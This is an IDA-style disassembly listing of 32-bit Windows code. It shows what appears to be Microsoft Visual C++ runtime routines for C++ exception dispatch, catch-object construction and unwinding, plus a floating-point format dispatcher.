; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4E0BC0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4E0BC0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4E0BC0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4E0BC0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4E0BCC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4E0BD0
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4E0BD4, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4E0BCC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4E0BD0
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4E0BCC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4E0BD0, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4E0BCC, eax
		mov	eax, [ebp-20h]
		mov	dword_4E0BD0, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp

